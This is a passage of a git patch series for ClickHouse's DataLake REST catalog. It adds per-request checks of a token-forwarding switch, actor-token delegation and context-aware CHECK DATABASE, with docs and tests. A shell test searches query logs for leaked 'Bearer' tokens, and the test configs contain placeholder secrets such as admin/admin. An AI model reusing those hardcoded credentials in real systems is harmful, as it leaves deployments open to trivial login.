+${CLICKHOUSE_CLIENT} --query " +SELECT count() FROM system.query_log +WHERE current_database = currentDatabase() + AND (query ILIKE '%Bearer %' OR exception ILIKE '%Bearer %') +" + +${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" From b5f1b30b2e8802bf0f64374b796330080db83137 Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Wed, 9 Sep 2026 18:26:39 +0200 Subject: [PATCH 2/6] Honor the runtime token forwarding switch, fix CHECK DATABASE and the actor token `RestCatalog::getForwardedToken` re-reads the server-level `enable_token_forwarding` setting on every forwarded request instead of trusting the decision `Session::authenticate` made once. The setting is hot-reloadable, so without this an operator turning it off kept forwarding the token captured by every already-authenticated session until the server restarted. Exchanged session tokens are dropped at the same time, so they cannot outlive the policy they were minted under. `oauth_forward_actor_token` mints the service principal's token through the new `RestCatalog::getServicePrincipalToken` instead of sending an `actor_token` only when one happened to be cached already, which meant delegation silently degraded to plain impersonation. A failure to mint it propagates rather than downgrading the exchange. `IDatabase::checkDatabase` takes a `ContextPtr`, so `CHECK DATABASE` against a `DataLakeCatalog` database forwards the querying user's token instead of sending none. `ContextData`'s copy constructor copies `forwarded_auth_token`: `Context::createCopy` builds the query context from the session context, so leaving it out lost the token before the query could forward it. Tests: - `tests/integration/test_datalake_token_forwarding` covers the write path (`INSERT`, `DROP TABLE`) and `CHECK DATABASE`, both forwarding and failing closed, and the listing assertions now require a known table to come back rather than any number, which held just as well when the catalog refused the request. - `gtest_rest_catalog_token_forwarding` turns the server switch on through a fixture and adds a case for turning it off at runtime; the actor token case now asserts the minted service principal token is what is sent. - `05028_datalake_token_forwarding_fail_closed` pins down which `CATALOG_USER_TOKEN_NOT_AVAILABLE` branch fires and looks for a JWT-shaped canary credential in `system.query_log` and `system.text_log`. - `test_datalake_sso_lakekeeper`: the Keycloak realm no longer declares top-level `clientScopes`, since supplying that array drops Keycloak's built-ins and leaves tokens without `sub` or `preferred_username`; `LAKEKEEPER__OPENID_SCOPE` is a single scope, which is how Lakekeeper compares it. Token users get a `token_users` role through `common_roles` so that every denial asserted comes from the catalog rather than from ClickHouse access control. --- docs/en/engines/database-engines/datalake.md | 24 +- src/Common/ProfileEvents.cpp | 2 +- src/Databases/DataLake/DatabaseDataLake.cpp | 7 +- src/Databases/DataLake/DatabaseDataLake.h | 2 +- src/Databases/DataLake/RestCatalog.cpp | 56 +++- src/Databases/DataLake/RestCatalog.h | 12 +- .../gtest_rest_catalog_token_forwarding.cpp | 151 +++++++++- src/Databases/IDatabase.h | 2 +- src/Interpreters/Context.cpp | 3 + src/Interpreters/InterpreterCheckQuery.cpp | 2 +- ...ompose_iceberg_lakekeeper_oidc_catalog.yml | 8 +- .../configs/session_log.xml | 12 + .../configs/token_forwarding.xml | 10 + .../keycloak/realm-export.json | 117 ++++---- .../test_datalake_sso_lakekeeper/test.py | 106 ++++++- .../configs/token_forwarding.xml | 9 + .../test_datalake_token_forwarding/test.py | 274 ++++++++++++++++-- ...05027_datalake_token_forwarding_masking.sh | 4 +- ...ake_token_forwarding_fail_closed.reference | 8 +- ...8_datalake_token_forwarding_fail_closed.sh | 66 ++++- 20 files changed, 738 insertions(+), 137 deletions(-) create mode 100644 tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml diff --git a/docs/en/engines/database-engines/datalake.md b/docs/en/engines/database-engines/datalake.md index e7567bbb84f3..04d8de4b183d 100644 --- a/docs/en/engines/database-engines/datalake.md +++ b/docs/en/engines/database-engines/datalake.md @@ -65,7 +65,7 @@ The following settings are supported: | `oauth_token_exchange_uri` | Empty (the default) forwards the user's token unchanged; non-empty performs an RFC 8693 token exchange at this URL first | | `oauth_subject_token_type` | RFC 8693 `subject_token_type` of the forwarded token. Default `urn:ietf:params:oauth:token-type:access_token` | | `oauth_requested_token_type` | RFC 8693 `requested_token_type`; empty omits the field. Default `urn:ietf:params:oauth:token-type:access_token` | -| `oauth_forward_actor_token` | Send the service principal's own token as the RFC 8693 `actor_token`. Default `0` | +| `oauth_forward_actor_token` | Send the service principal's own token as the RFC 8693 `actor_token`. Default `0`. See [Delegation with an actor token](#user-token-forwarding-actor-token) | | `oauth_user_token_cache_ttl` | Maximum lifetime (in seconds) of a cached exchanged session token; `0` disables caching. Default `300` | ## Examples {#examples} @@ -173,6 +173,28 @@ implement… will be removed in Iceberg 2.0"), and several widely deployed catal them) do not implement it at all. That is why the endpoint can only be reached by writing its URL out in full. +### Delegation with an actor token {#user-token-forwarding-actor-token} + +By default the exchange asks for plain impersonation: the token the catalog sees names the user and +nothing else. With `oauth_forward_actor_token = 1` the exchange also carries an `actor_token`, so a +server that implements RFC 8693 delegation can see both parties -- `sub` is the user and `act` is +ClickHouse -- and log or authorize accordingly. The setting requires `oauth_token_exchange_uri` and +is rejected without it. + +The actor token is the service principal's own token, obtained with a `client_credentials` grant +against `oauth_server_uri` (or the catalog's `/v1/oauth/tokens` when that setting is empty) using +the credentials from `catalog_credential`. It is minted on first use and reused until it expires, +and it is only ever sent as `actor_token` -- no catalog request is signed with it. Because of it, +the `DataLakeRestCatalogClientCredentialsGrants` profile event is expected to be non-zero with this +setting on; with it off, a non-zero value while forwarding still means a request fell back to the +shared identity. + +If minting the actor token fails, the query fails. ClickHouse does not fall back to an exchange +without delegation: silently downgrading is exactly what enabling the setting asks to avoid. + +Only turn it on against a server that can validate the token. An IdP cannot validate a token it did +not issue for that purpose and will normally reject the whole exchange. + ### What is and is not covered {#user-token-forwarding-scope} - Every catalog request made on behalf of a query carries the user's identity: listing namespaces diff --git a/src/Common/ProfileEvents.cpp b/src/Common/ProfileEvents.cpp index 486bb16b222c..a31956ac980d 100644 --- a/src/Common/ProfileEvents.cpp +++ b/src/Common/ProfileEvents.cpp @@ -1718,7 +1718,7 @@ The server successfully detected this situation and will download merged part fr M(DataLakeRestCatalogTokenExchangeMicroseconds, "Total time of RFC 8693 token exchanges.", ValueType::Microseconds) \ M(DataLakeRestCatalogTokenExchangeFailures, "Number of RFC 8693 token exchanges that failed.", ValueType::Number) \ M(DataLakeRestCatalogUserTokenCacheHits, "Number of times a previously exchanged per-user session token was reused.", ValueType::Number) \ - M(DataLakeRestCatalogClientCredentialsGrants, "Number of `client_credentials` grants performed as the catalog service principal. Must stay at zero while user token forwarding is enabled: a non-zero value means a request fell back to the shared identity.", ValueType::Number) \ + M(DataLakeRestCatalogClientCredentialsGrants, "Number of `client_credentials` grants performed as the catalog service principal. While user token forwarding is enabled the only legitimate source is `oauth_forward_actor_token`, which mints this token to send as the RFC 8693 `actor_token`; with that setting off the event must stay at zero, and a non-zero value means a request fell back to the shared identity.", ValueType::Number) \ \ M(DataLakeRestCatalogLoadConfig, "Number of 'load config' requests to Iceberg REST catalog.", ValueType::Number) \ M(DataLakeRestCatalogLoadConfigMicroseconds, "Total time of 'load config' requests to Iceberg REST catalog.", ValueType::Microseconds) \ diff --git a/src/Databases/DataLake/DatabaseDataLake.cpp b/src/Databases/DataLake/DatabaseDataLake.cpp index 791cbc5aa6af..9cda232968c8 100644 --- a/src/Databases/DataLake/DatabaseDataLake.cpp +++ b/src/Databases/DataLake/DatabaseDataLake.cpp @@ -1073,13 +1073,14 @@ ASTPtr DatabaseDataLake::getCreateDatabaseQueryImpl() const return create_query; } -void DatabaseDataLake::checkDatabase() const +void DatabaseDataLake::checkDatabase(ContextPtr context_) const { auto catalog = getCatalog(); /// This function checks if we can access catalog and get tables list. /// We do not check if there are tables in catalog, because even if catalog is empty, it still can be valid and working. - /// No context here either, so with forwarding enabled this fails closed -- see `empty()`. - std::ignore = catalog->empty(/* auth_token */ {}); + /// The query context carries the querying user's token, so with `oauth_forward_user_token` the check + /// runs under that user's identity; a session without a token still fails closed. + std::ignore = catalog->empty(getForwardedAuthToken(context_)); LOG_TEST(log, "Database '{}' is OK", getDatabaseName()); diff --git a/src/Databases/DataLake/DatabaseDataLake.h b/src/Databases/DataLake/DatabaseDataLake.h index 22947a4039a2..0bd58b23e5b3 100644 --- a/src/Databases/DataLake/DatabaseDataLake.h +++ b/src/Databases/DataLake/DatabaseDataLake.h @@ -52,7 +52,7 @@ class DatabaseDataLake final : public IDatabase, WithContext Strings getAllTableNames(ContextPtr context) const override; - void checkDatabase() const override; + void checkDatabase(ContextPtr context) const override; void shutdown() override {} diff --git a/src/Databases/DataLake/RestCatalog.cpp b/src/Databases/DataLake/RestCatalog.cpp index f5c01333f714..e88746c680d6 100644 --- a/src/Databases/DataLake/RestCatalog.cpp +++ b/src/Databases/DataLake/RestCatalog.cpp @@ -1,6 +1,7 @@ #include #include #include +#include #include #include #include @@ -683,6 +684,36 @@ DB::HTTPHeaderEntries RestCatalog::getAuthHeaders(const AuthContext & auth_conte String RestCatalog::getForwardedToken( const CatalogState & catalog_state, const DB::ForwardedAuthTokenPtr & auth_token, bool update_token) const { + /// Re-read the server-level switch on every forwarded request instead of trusting the decision + /// `Session::authenticate` made once. `enable_token_forwarding` is hot-reloadable + /// (`AccessControl::setExternalAuthenticatorsConfig` re-reads it on `SYSTEM RELOAD CONFIG`), so + /// without this an operator turning it off in response to a credential leak or an IdP outage + /// would keep forwarding the token captured by every already-authenticated session -- for the + /// whole life of a native connection or a named session -- until the server restarts. + /// + /// Checked before the token itself: when the switch is off it is the reason a session has no + /// token in the first place, so reporting the missing token would name a symptom, not a cause. + if (!getContext()->getGlobalContext()->getAccessControl().isTokenForwardingEnabled()) + { + /// Session tokens exchanged while the previous policy was in force must not outlive it: + /// dropping them means turning the switch back on cannot serve a token minted under the + /// policy the operator has just revoked, and every user is exchanged for anew. The clear + /// costs nothing that matters -- this path throws, so it is only ever reached by a request + /// that is about to fail anyway. + user_token_cache.clear(); + + throw DB::Exception( + DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE, + "Catalog `{}` is configured with `oauth_forward_user_token = 1`, but the server-level " + "`enable_token_forwarding` setting is off, so the querying user's token cannot be " + "presented to the catalog. Falling back to the catalog's service principal would run " + "the query under the wrong identity, so the request is refused instead. Set " + "`enable_token_forwarding` to `1` in the server configuration and reconnect (a session " + "authenticated while the setting was off carries no token), or recreate the database " + "without `oauth_forward_user_token`.", + warehouse); + } + if (!auth_token || auth_token->token.empty()) throw DB::Exception( DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE, @@ -745,13 +776,13 @@ AccessToken RestCatalog::exchangeUserToken(const CatalogState & catalog_state, c /// An `actor_token` is only meaningful to a server that can validate it, and the catalog's /// own service token is not something an IdP can. Off by default; turn it on for a /// spec-implementing catalog to get RFC 8693 delegation semantics (`sub=user, act=clickhouse`). + /// Minting it is a `client_credentials` grant; if it fails the error propagates, because an + /// exchange silently downgraded from delegation to plain impersonation is exactly what + /// enabling the setting was meant to prevent. if (token_forwarding.forward_actor_token) { - if (auto current = access_token.get(); current && !current->token.empty()) - { - request.actor_token = current->token; - request.actor_token_type = "urn:ietf:params:oauth:token-type:access_token"; - } + request.actor_token = getServicePrincipalToken(catalog_state); + request.actor_token_type = "urn:ietf:params:oauth:token-type:access_token"; } ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogTokenExchange); @@ -1191,6 +1222,21 @@ AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, cons return requestToken(request); } +String RestCatalog::getServicePrincipalToken(const CatalogState & catalog_state) const +{ + /// Same caching rule as the `client_credentials` branch of `getAuthHeaders`: reuse the token + /// held in `access_token` until it falls outside its validity window, then mint a new one. + /// Storing it there is what that member is for -- it is the service principal's token, shared + /// by every user of the database, and never a per-user one. + auto current = access_token.get(); + if (!current || current->isExpired()) + { + access_token.set(std::make_unique(retrieveAccessToken(catalog_state.client_id, catalog_state.client_secret))); + current = access_token.get(); + } + return current->token; +} + BigLakeCatalog::BigLakeCatalog( const std::string & warehouse_, const std::string & base_url_, diff --git a/src/Databases/DataLake/RestCatalog.h b/src/Databases/DataLake/RestCatalog.h index d55616a64ccd..e88a00445d39 100644 --- a/src/Databases/DataLake/RestCatalog.h +++ b/src/Databases/DataLake/RestCatalog.h @@ -396,9 +396,10 @@ class RestCatalog : public ICatalog, public DB::WithContext virtual DB::HTTPHeaderEntries getAuthHeaders(const AuthContext & auth_context) const; /// The user's own token, or the session token obtained by exchanging it, depending on whether - /// `oauth_token_exchange_uri` is set. Throws `CATALOG_USER_TOKEN_NOT_AVAILABLE` when forwarding - /// is enabled and there is no token: never fall back to the service principal, which would - /// turn an authorization failure into a query that succeeds under the wrong identity. + /// `oauth_token_exchange_uri` is set. Throws `CATALOG_USER_TOKEN_NOT_AVAILABLE` when there is + /// no token, and also when the hot-reloadable server-level `enable_token_forwarding` setting + /// has since been turned off: never fall back to the service principal, which would turn an + /// authorization failure into a query that succeeds under the wrong identity. String getForwardedToken(const CatalogState & catalog_state, const DB::ForwardedAuthTokenPtr & auth_token, bool update_token) const; /// Whether a failed catalog request should be retried once with a freshly minted token. @@ -435,6 +436,11 @@ class RestCatalog : public ICatalog, public DB::WithContext AccessToken retrieveAccessToken(const std::string & client_id, const std::string & client_secret) const; + /// The catalog service principal's own token, minted on demand with a `client_credentials` + /// grant and cached in `access_token` until it expires. Used as the RFC 8693 `actor_token`, + /// never as the identity a catalog request is signed with while forwarding is on. + String getServicePrincipalToken(const CatalogState & catalog_state) const; + struct PreparedAuthChanges; /// Hook for `prepareSettingsChanges`: validate `changes` and apply them to `new_state`, diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp index f1bd66ab58f8..3ad354d7f6a4 100644 --- a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp +++ b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp @@ -4,6 +4,7 @@ #include +#include #include #include #include @@ -161,11 +162,38 @@ std::map parseForm(const std::string & body) return result; } +/// The server-level `enable_token_forwarding` switch, which `RestCatalog::getForwardedToken` +/// re-reads on every request. It lives on the `AccessControl` of the process-wide test context and +/// is off by default, so turning it on is a precondition of forwarding anything at all. +struct TokenForwardingSwitch +{ + explicit TokenForwardingSwitch(bool enabled) + : previous(getContext().context->getAccessControl().isTokenForwardingEnabled()) + { + set(enabled); + } + + ~TokenForwardingSwitch() { set(previous); } + + static void set(bool enabled) { getContext().context->getAccessControl().setTokenForwardingEnabled(enabled); } + + const bool previous; +}; + } +/// A fixture rather than a line in each test: the switch is process-wide, so restoring it has to +/// happen even when a test fails an assertion or throws -- a member destructor always runs, a +/// trailing statement does not. +class RestCatalogTokenForwarding : public ::testing::Test +{ +protected: + TokenForwardingSwitch forwarding{true}; +}; + /// --- Passthrough ------------------------------------------------------------------------- -TEST(RestCatalogTokenForwarding, PassthroughSendsUserTokenOnEveryCall) +TEST_F(RestCatalogTokenForwarding, PassthroughSendsUserTokenOnEveryCall) { TestServer server; installCatalogShape(*server); @@ -190,7 +218,7 @@ TEST(RestCatalogTokenForwarding, PassthroughSendsUserTokenOnEveryCall) EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 0u); } -TEST(RestCatalogTokenForwarding, ForwardingOffKeepsClientCredentials) +TEST_F(RestCatalogTokenForwarding, ForwardingOffKeepsClientCredentials) { TestServer server; installCatalogShape(*server); @@ -216,7 +244,7 @@ TEST(RestCatalogTokenForwarding, ForwardingOffKeepsClientCredentials) /// The single most important test of the feature: a session with no token must be refused, and /// must NOT quietly acquire the service principal's identity instead. -TEST(RestCatalogTokenForwarding, NoUserTokenFailsClosed) +TEST_F(RestCatalogTokenForwarding, NoUserTokenFailsClosed) { TestServer server; installCatalogShape(*server); @@ -239,7 +267,7 @@ TEST(RestCatalogTokenForwarding, NoUserTokenFailsClosed) EXPECT_EQ(server->countRequestsTo(NAMESPACES_PATH), 0u); } -TEST(RestCatalogTokenForwarding, ForbiddenIsNotRetriedAsServicePrincipal) +TEST_F(RestCatalogTokenForwarding, ForbiddenIsNotRetriedAsServicePrincipal) { TestServer server; installTokenEndpoint(*server, CATALOG_TOKEN_PATH); @@ -256,7 +284,7 @@ TEST(RestCatalogTokenForwarding, ForbiddenIsNotRetriedAsServicePrincipal) EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); } -TEST(RestCatalogTokenForwarding, VendedCredentialsCacheIsPerPrincipal) +TEST_F(RestCatalogTokenForwarding, VendedCredentialsCacheIsPerPrincipal) { TestServer server; installCatalogShape(*server); @@ -317,7 +345,7 @@ TEST(RestCatalogTokenForwarding, VendedCredentialsCacheIsPerPrincipal) /// --- Token exchange ---------------------------------------------------------------------- -TEST(RestCatalogTokenForwarding, ExchangeRequestHasRfc8693Shape) +TEST_F(RestCatalogTokenForwarding, ExchangeRequestHasRfc8693Shape) { TestServer server; installCatalogShape(*server); @@ -353,7 +381,7 @@ TEST(RestCatalogTokenForwarding, ExchangeRequestHasRfc8693Shape) EXPECT_EQ(form.count("actor_token_type"), 0u); } -TEST(RestCatalogTokenForwarding, CatalogCallsCarryExchangedTokenNotSubjectToken) +TEST_F(RestCatalogTokenForwarding, CatalogCallsCarryExchangedTokenNotSubjectToken) { TestServer server; installCatalogShape(*server); @@ -375,7 +403,7 @@ TEST(RestCatalogTokenForwarding, CatalogCallsCarryExchangedTokenNotSubjectToken) EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); } -TEST(RestCatalogTokenForwarding, ExchangedTokensAreNotSharedBetweenPrincipals) +TEST_F(RestCatalogTokenForwarding, ExchangedTokensAreNotSharedBetweenPrincipals) { TestServer server; installCatalogShape(*server); @@ -398,7 +426,7 @@ TEST(RestCatalogTokenForwarding, ExchangedTokensAreNotSharedBetweenPrincipals) EXPECT_EQ(request.header("Authorization"), "Bearer session_token_1"); } -TEST(RestCatalogTokenForwarding, ExpiredSessionTokenIsExchangedAgain) +TEST_F(RestCatalogTokenForwarding, ExpiredSessionTokenIsExchangedAgain) { TestServer server; installCatalogShape(*server); @@ -420,11 +448,13 @@ TEST(RestCatalogTokenForwarding, ExpiredSessionTokenIsExchangedAgain) EXPECT_GT(server->countRequestsTo(IDP_TOKEN_PATH), after_first_query); } -TEST(RestCatalogTokenForwarding, ActorTokenIsSentOnlyWhenEnabled) +TEST_F(RestCatalogTokenForwarding, ActorTokenCarriesServicePrincipalTokenWhenEnabled) { TestServer server; installCatalogShape(*server); - installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + /// The service principal's own `client_credentials` grant. A hand-written route rather than + /// `installTokenEndpoint` so that the minted token is distinguishable from the exchanged one. + server->setStaticRoute(CATALOG_TOKEN_PATH, R"({"access_token":"service_principal_token","expires_in":3600})"); installTokenEndpoint(*server, IDP_TOKEN_PATH); auto alice = makeToken(ALICE_TOKEN, "alice"); @@ -434,15 +464,52 @@ TEST(RestCatalogTokenForwarding, ActorTokenIsSentOnlyWhenEnabled) ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + /// Delegation needs a token for the actor, so exactly one `client_credentials` grant happens. + /// This is the one case where such a grant is legitimate while forwarding is on. + const auto grants = server->requestsTo(CATALOG_TOKEN_PATH); + ASSERT_EQ(grants.size(), 1u); + EXPECT_EQ(parseForm(grants.front().body).at("grant_type"), "client_credentials"); + + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_EQ(exchanges.size(), 1u); + const auto form = parseForm(exchanges.front().body); + EXPECT_EQ(form.at("subject_token"), ALICE_TOKEN); + EXPECT_EQ(form.at("actor_token"), "service_principal_token"); + EXPECT_EQ(form.at("actor_token_type"), "urn:ietf:params:oauth:token-type:access_token"); + + /// `sub=user, act=clickhouse`: the catalog is still called with the exchanged user session, + /// never with the service principal's own token. + for (const auto & request : server->requestsTo(NAMESPACES_PATH)) + EXPECT_EQ(request.header("Authorization"), "Bearer session_token_0"); +} + +TEST_F(RestCatalogTokenForwarding, ActorTokenIsAbsentWhenDisabled) +{ + TestServer server; + installCatalogShape(*server); + /// Registered so that a `client_credentials` grant is *recorded* rather than throwing. + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog( + server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH, /* cache_ttl */ 300, /* actor */ false), "client:secret"); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); ASSERT_EQ(exchanges.size(), 1u); const auto form = parseForm(exchanges.front().body); - /// No service-principal token has been minted, so there is nothing to delegate from and the - /// field stays absent rather than empty. + /// Absent rather than empty: an empty `actor_token` is not the same thing as no delegation, + /// and strict servers reject it. EXPECT_EQ(form.count("actor_token"), 0u); + EXPECT_EQ(form.count("actor_token_type"), 0u); + /// With delegation off nothing is minted for the service principal either. + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); } -TEST(RestCatalogTokenForwarding, ExchangeErrorDoesNotEchoSubjectToken) +TEST_F(RestCatalogTokenForwarding, ExchangeErrorDoesNotEchoSubjectToken) { TestServer server; installCatalogShape(*server); @@ -470,7 +537,7 @@ TEST(RestCatalogTokenForwarding, ExchangeErrorDoesNotEchoSubjectToken) } } -TEST(RestCatalogTokenForwarding, ResponseWithoutAccessTokenIsReportedClearly) +TEST_F(RestCatalogTokenForwarding, ResponseWithoutAccessTokenIsReportedClearly) { TestServer server; installCatalogShape(*server); @@ -492,4 +559,58 @@ TEST(RestCatalogTokenForwarding, ResponseWithoutAccessTokenIsReportedClearly) } } +/// --- Runtime toggle ---------------------------------------------------------------------- + +/// `enable_token_forwarding` is hot-reloadable, but it is consulted at authentication time, so a +/// session that captured a token before the operator turned it off would otherwise keep forwarding +/// that token for the whole life of the connection. An operator responding to a credential leak +/// cannot wait for every open connection to be closed, so the switch is re-read per request. +TEST_F(RestCatalogTokenForwarding, DisablingTheServerSwitchAtRuntimeStopsForwarding) +{ + TestServer server; + installCatalogShape(*server); + /// Registered so that a fallback to the service principal is *recorded* rather than throwing. + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + /// With the switch on, forwarding works and the exchanged session token is cached. + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + + TokenForwardingSwitch::set(false); + server->clearRequests(); + + try + { + catalog->getTables(alice); + FAIL() << "expected the catalog to stop forwarding once the server setting was turned off"; + } + catch (const DB::Exception & e) + { + EXPECT_EQ(e.code(), DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE); + /// The session does have a token, so the message must name the real reason rather than + /// reuse the "no token on this session" wording. + const std::string message = e.displayText(); + EXPECT_NE(message.find("`enable_token_forwarding` setting is off"), std::string::npos) << message; + EXPECT_EQ(message.find("this session has none"), std::string::npos) << message; + } + + /// Refused, not quietly downgraded to the service principal. + EXPECT_EQ(server->countRequestsTo(NAMESPACES_PATH), 0u); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 0u); + + /// Turning the switch back on must not resurrect the session token minted under the old + /// policy: it was dropped, so the catalog exchanges again. + TokenForwardingSwitch::set(true); + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + for (const auto & request : server->requestsTo(NAMESPACES_PATH)) + EXPECT_EQ(request.header("Authorization"), "Bearer session_token_1"); +} + #endif diff --git a/src/Databases/IDatabase.h b/src/Databases/IDatabase.h index b92e15ac35d3..e8f27e279307 100644 --- a/src/Databases/IDatabase.h +++ b/src/Databases/IDatabase.h @@ -408,7 +408,7 @@ class IDatabase : public std::enable_shared_from_this return database_name; } - virtual void checkDatabase() const + virtual void checkDatabase(ContextPtr /*context*/) const { //No-op } diff --git a/src/Interpreters/Context.cpp b/src/Interpreters/Context.cpp index e06e8f1e1067..68916f3c5939 100644 --- a/src/Interpreters/Context.cpp +++ b/src/Interpreters/Context.cpp @@ -1280,6 +1280,9 @@ ContextData::ContextData() ContextData::ContextData(const ContextData &o) : shared(o.shared), client_info(o.client_info), + /// Must be copied like `client_info`: a query context is built with `Context::createCopy` from + /// the session context, so a token left out here is lost before the query can forward it. + forwarded_auth_token(o.forwarded_auth_token), external_tables_initializer_callback(o.external_tables_initializer_callback), input_initializer_callback(o.input_initializer_callback), input_blocks_reader(o.input_blocks_reader), diff --git a/src/Interpreters/InterpreterCheckQuery.cpp b/src/Interpreters/InterpreterCheckQuery.cpp index 23ceb6f88bde..488db18d3b68 100644 --- a/src/Interpreters/InterpreterCheckQuery.cpp +++ b/src/Interpreters/InterpreterCheckQuery.cpp @@ -442,7 +442,7 @@ BlockIO InterpreterCheckQuery::execute() LOG_DEBUG(log, "Checking database name = {} ", database_name); context->checkAccess(AccessType::CHECK, database_name); auto database = DatabaseCatalog::instance().getDatabase(database_name); - database->checkDatabase(); + database->checkDatabase(context); BlockIO res; return res; } diff --git a/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml b/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml index c4d733d1e52c..8399de383b41 100644 --- a/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml +++ b/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml @@ -21,6 +21,10 @@ services: - KC_BOOTSTRAP_ADMIN_USERNAME=admin - KC_BOOTSTRAP_ADMIN_PASSWORD=admin volumes: + # The realm deliberately declares no top-level `clientScopes`: an import that supplies that + # array gets only the scopes it lists and none of Keycloak's built-ins, so tokens come back + # without `sub` (from `basic`) or `preferred_username` (from `profile`) and Lakekeeper + # answers 401 to everything. The `lakekeeper` audience is a client protocol mapper instead. - ../test_datalake_sso_lakekeeper/keycloak/realm-export.json:/opt/keycloak/data/import/realm.json:ro healthcheck: test: @@ -45,7 +49,9 @@ services: - LAKEKEEPER__OPENFGA__ENDPOINT=http://openfga:8081 - LAKEKEEPER__OPENID_PROVIDER_URI=http://keycloak:8080/realms/clickhouse-test - LAKEKEEPER__OPENID_AUDIENCE=lakekeeper - - LAKEKEEPER__OPENID_SCOPE=openid profile email + # A single scope, not a list: Lakekeeper compares the configured value against the + # token's `scope` claim as one entry, so `openid profile email` would never match. + - LAKEKEEPER__OPENID_SCOPE=openid - RUST_LOG=info command: ["serve"] ports: diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml new file mode 100644 index 000000000000..6e9bd30ed22e --- /dev/null +++ b/tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml @@ -0,0 +1,12 @@ + + + + system + session_log
+ toYYYYMM(event_date) + 7500 + + diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml index f4fe0695ea87..74c183e06e9f 100644 --- a/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml +++ b/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml @@ -19,6 +19,16 @@ keycloak default + + + + diff --git a/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json b/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json index 24fc77369dce..cfa8d1c52d68 100644 --- a/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json +++ b/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json @@ -4,14 +4,24 @@ "sslRequired": "none", "registrationAllowed": false, "accessTokenLifespan": 1800, - "clientScopes": [ + "clients": [ { - "name": "lakekeeper", - "description": "Adds the `lakekeeper` audience, which Lakekeeper checks on every request.", + "clientId": "clickhouse", + "enabled": true, + "secret": "clickhouse-secret", + "publicClient": false, + "directAccessGrantsEnabled": true, + "serviceAccountsEnabled": false, + "standardFlowEnabled": true, "protocol": "openid-connect", + "redirectUris": [ + "*" + ], + "webOrigins": [ + "*" + ], "attributes": { - "include.in.token.scope": "true", - "display.on.consent.screen": "false" + "standard.token.exchange.enabled": "true" }, "protocolMappers": [ { @@ -27,29 +37,6 @@ } } ] - } - ], - "clients": [ - { - "clientId": "clickhouse", - "enabled": true, - "secret": "clickhouse-secret", - "publicClient": false, - "directAccessGrantsEnabled": true, - "serviceAccountsEnabled": false, - "standardFlowEnabled": true, - "protocol": "openid-connect", - "redirectUris": ["*"], - "webOrigins": ["*"], - "defaultClientScopes": [ - "acr", - "basic", - "email", - "profile", - "roles", - "web-origins", - "lakekeeper" - ] }, { "clientId": "clickhouse-exchange", @@ -60,24 +47,26 @@ "serviceAccountsEnabled": false, "standardFlowEnabled": true, "protocol": "openid-connect", - "redirectUris": ["*"], - "webOrigins": ["*"], - "attributes": { - "standard.token.exchange.enabled": "true" - }, - "defaultClientScopes": ["acr", "basic", "email", "profile", "roles", "web-origins"], - "optionalClientScopes": ["lakekeeper"] - }, - { - "clientId": "lakekeeper", - "enabled": true, - "secret": "lakekeeper-secret", - "publicClient": false, - "bearerOnly": false, - "directAccessGrantsEnabled": false, - "serviceAccountsEnabled": false, - "standardFlowEnabled": false, - "protocol": "openid-connect" + "redirectUris": [ + "*" + ], + "webOrigins": [ + "*" + ], + "protocolMappers": [ + { + "name": "clickhouse-audience", + "protocol": "openid-connect", + 